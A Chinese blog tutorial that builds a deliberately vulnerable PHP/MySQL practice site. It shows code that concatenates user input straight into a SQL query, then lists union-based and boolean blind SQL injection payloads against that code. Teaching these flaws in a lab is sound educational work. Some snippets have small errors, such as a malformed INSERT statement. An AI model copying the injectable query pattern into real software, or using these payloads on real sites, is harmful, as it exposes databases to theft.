Bootstrap

从开发角度理解漏洞成因（01）

文章目录

PHP开发漏洞环境（SQL注入）

持续更新中…

文章中代码资源已上传资源，如需要打包好的请点击PHP+MYSQL 注入靶场源码

实现功能：
1、前端文章导航
2、点入内容显示
3、更改传参值显示不同内容

实现步骤：
1、前端页面显示编写 HTML&CSS
2、数据库文章数据导入 - MySQL操作
3、PHP操作MySQL编写 - PHP变量提交

开发环境：PHP5.3 + Apache + MySQL
以下源码都可以使用 phpStudy 搭建

生成前端代码

简单的写一下前端

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>渗透测试小白的靶场</title>  
    <link rel="stylesheet" type="text/css" href="styles.css"> <!-- 加载自定义CSS文件 -->  
    <style>  
        /* 自定义内联CSS样式 */        body {  
            font-family: Arial, sans-serif;  
            background-color: #f1f1f1;  
            margin: 0;  
            padding: 0;  
        }  
  
        header {  
            background-color: #333;  
            padding: 20px;  
            color: #fff;  
            text-align: center;  
        }  
  
        nav {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
  
        nav ul {  
            list-style-type: none;  
            margin: 0;  
            padding: 0;  
        }  
  
        nav ul li {  
            display: inline-block;  
            margin-right: 10px;  
        }  
  
        nav ul li a {  
            color: #fff;  
            text-decoration: none;  
            padding: 5px;  
        }  
  
        section {  
            padding: 20px;  
            text-align: center;  
            color: #333;  
        }  
  
        footer {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
    </style>  
</head>  
<body>  
<header>  
    <h1>渗透测试小白的安全测试网站</h1>  
</header>  
<nav>  
    <ul>        <li><a href="index.php">首页</a></li> <!-- 链接index.php -->  
        <li><a href="neirong/News.php">内容</a></li> <!-- 链接News.php -->  
        <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->  
    </ul>  
</nav>  
<section>  
    <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>  
    <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>  
</section>  
<footer>  
    &copy; 2024 Cool Website  
</footer>  
</body>  
</html>

看看效果

生成后端代码

先写一个配置文件，连接本地数据库（conn.php）

<?php  
$conn = mysqli_connect("127.0.0.1","root","root","boke_mysql");  
if(!$conn){  
    echo "数据库连接失败";  
}else{  
    echo "数据库连接成功";  
}  
?>

内容（News.php）

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>渗透测试小白的靶场</title>  
    <link rel="stylesheet" type="text/css" href="../styles.css"> <!-- 加载自定义CSS文件 -->  
    <style>  
        /* 自定义内联CSS样式 */        body {  
            font-family: Arial, sans-serif;  
            background-color: #f1f1f1;  
            margin: 0;  
            padding: 0;  
        }  
  
        header {  
            background-color: #333;  
            padding: 20px;  
            color: #fff;  
            text-align: center;  
        }  
  
        nav {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
  
        nav ul {  
            list-style-type: none;  
            margin: 0;  
            padding: 0;  
        }  
  
        nav ul li {  
            display: inline-block;  
            margin-right: 10px;  
        }  
  
        nav ul li a {  
            color: #fff;  
            text-decoration: none;  
            padding: 5px;  
        }  
  
        section {  
            padding: 20px;  
            text-align: center;  
            color: #333;  
        }  
  
        footer {  
            background-color: #555;  
            color: #fff;  
            text-align: center;  
            padding: 10px;  
        }  
    </style>  
</head>  
<body>  
<header>  
    <h1>渗透测试小白的安全测试网站</h1>  
</header>  
<nav>  
    <ul>        <li><a href="../index.php">首页</a></li> <!-- 链接index.php -->  
        <li><a href="News.php">内容</a></li> <!-- 链接News.php -->  
        <li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->  
    </ul>  
</nav>  
<section>  
    <h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>  
    <p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>  
    <div class="search">  
        <form method="post" action=" ">  
            <input type="search" name="title" id="title" placeholder="请输入搜索内容">  
            <button type="submit">搜索</button>  
        </form>    </div></section>  
<footer>  
    &copy; 2024 Cool Website  
</footer>  
</body>  
</html>  
?>

看下效果

数据库

在数据库中创建一个表，并生成一些内容

create database boke_mysql; -- 创建boke_mysql数据库
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) NOT NULL); -- 创建users表，id,username,email 字段


CREATE TABLE posts (
    id INT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(100) NOT NULL,
    content TEXT,
    user_id INT,
    FOREIGN KEY (user_id) REFERENCES users(id)
); -- 创建posts表


-- 向 users 表插入数据
INSERT INTO users (username, email) VALUES
    ('test1', '[email protected]'),
    ('test2', '[email protected]');

-- 向 posts 表插入数据
INSERT INTO posts (title, content, user_id) VALUES
    ('测试内容（1）', '这是第一条测试内容', 1),
    ('测试内容（2）', '这是第二条测试内容', 2);
    ('测试内容（3）', '这是第三条测试内容', 3);

看看结果


写功能

在News.php中写一些功能，将查询结果从数据库中的表输出在内容板块

<?php  
include("../config/conn.php"); // 包含数据库配置文件  
  
if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    $title = $_POST["title"];  
  
    // 执行查询语句  
    $sql = "SELECT * FROM posts WHERE id = '$title'";  
    $result = mysqli_query($conn, $sql);  
  
    if ($result && mysqli_num_rows($result) > 0) {  
        // 循环遍历结果集  
        while ($row = mysqli_fetch_assoc($result)) {  
            // 输出每行数据  
            echo "<p>" . $row['id'] . "</p>";  
            echo "<p>" . $row['title'] . "</p>";  
            echo "<p>" . $row['content'] . "</p>";  
        }  
    } else {  
        echo "<p>" . "未查询到结果" . "</p>";  
    }  
}  
?>

调试功能

正常的来输入一个 1 试试，发现能正常返回结果

测试SQL注入漏洞

只说几个典型的例子，其他注入类型都大差不差。

字符型注入

找到关键性语句，$sql

$sql = "SELECT * FROM posts WHERE id = '$title'";   //通过变量$title进行传参

构造恶意语句，不细说了，大家有兴趣的看我以前的文章。

SELECT * FROM posts WHERE id = '1'-- '" 这就型成了闭合
1' order by 4 -- // 查字段数
1' union select 1,2,3,4 --  // 查字段数
-1' union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2,3,4 --  //查表名

布尔盲注

修改后端代码

<?php  
include("../config/conn.php"); // 包含数据库配置文件  
  
if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    $title = $_POST["title"];  
  
    // 执行查询语句  
    $sql = "SELECT * FROM posts WHERE id = '$title'";  
    $result = mysqli_query($conn, $sql);  
    $row = mysqli_fetch_array($result);  
    if ($row){  
        echo "<p>"."内容存在"."</p>";  
    }else{  
        print_r(mysqli_error());  
    }  
}  
?>

语句构造，通过回显判断是否为真

1' and 1=1 -- 
1' and 1=2 -- 
1' and length(database())=10 -- 
1' and ascii(mid(database(),1,1))<100 -- 
1' and ascii(mid(database(),1,1))=98 --


悦读

道可道，非常道；名可名，非常名。 无名，天地之始，有名，万物之母。 故常无欲，以观其妙，常有欲，以观其徼。 此两者，同出而异名，同谓之玄，玄之又玄，众妙之门。

最新收录
springboot+校园兼职系统-计算机毕设定制-附项目源码（可白嫖）22161
TypeScript：高级类型
UI素材|最全面的移动端 UI KIT 模板
vue 基于 Export2Excel.js 导出 Excel
浅谈结构化数据、非结构化数据，关系数据库、非关系数据库
Python虚拟环境（Virtual Environment）
tipask 3.5问答系统部署说明，超详细命令行部署，挂载iso,可内网使用。
spark对接elasticsearch遇到的坑
我的世界java服务器地址ip_Minecraft 1.8.9 Servers
Action Script 3.0 - [Flex] 字符串公共处理工具类
;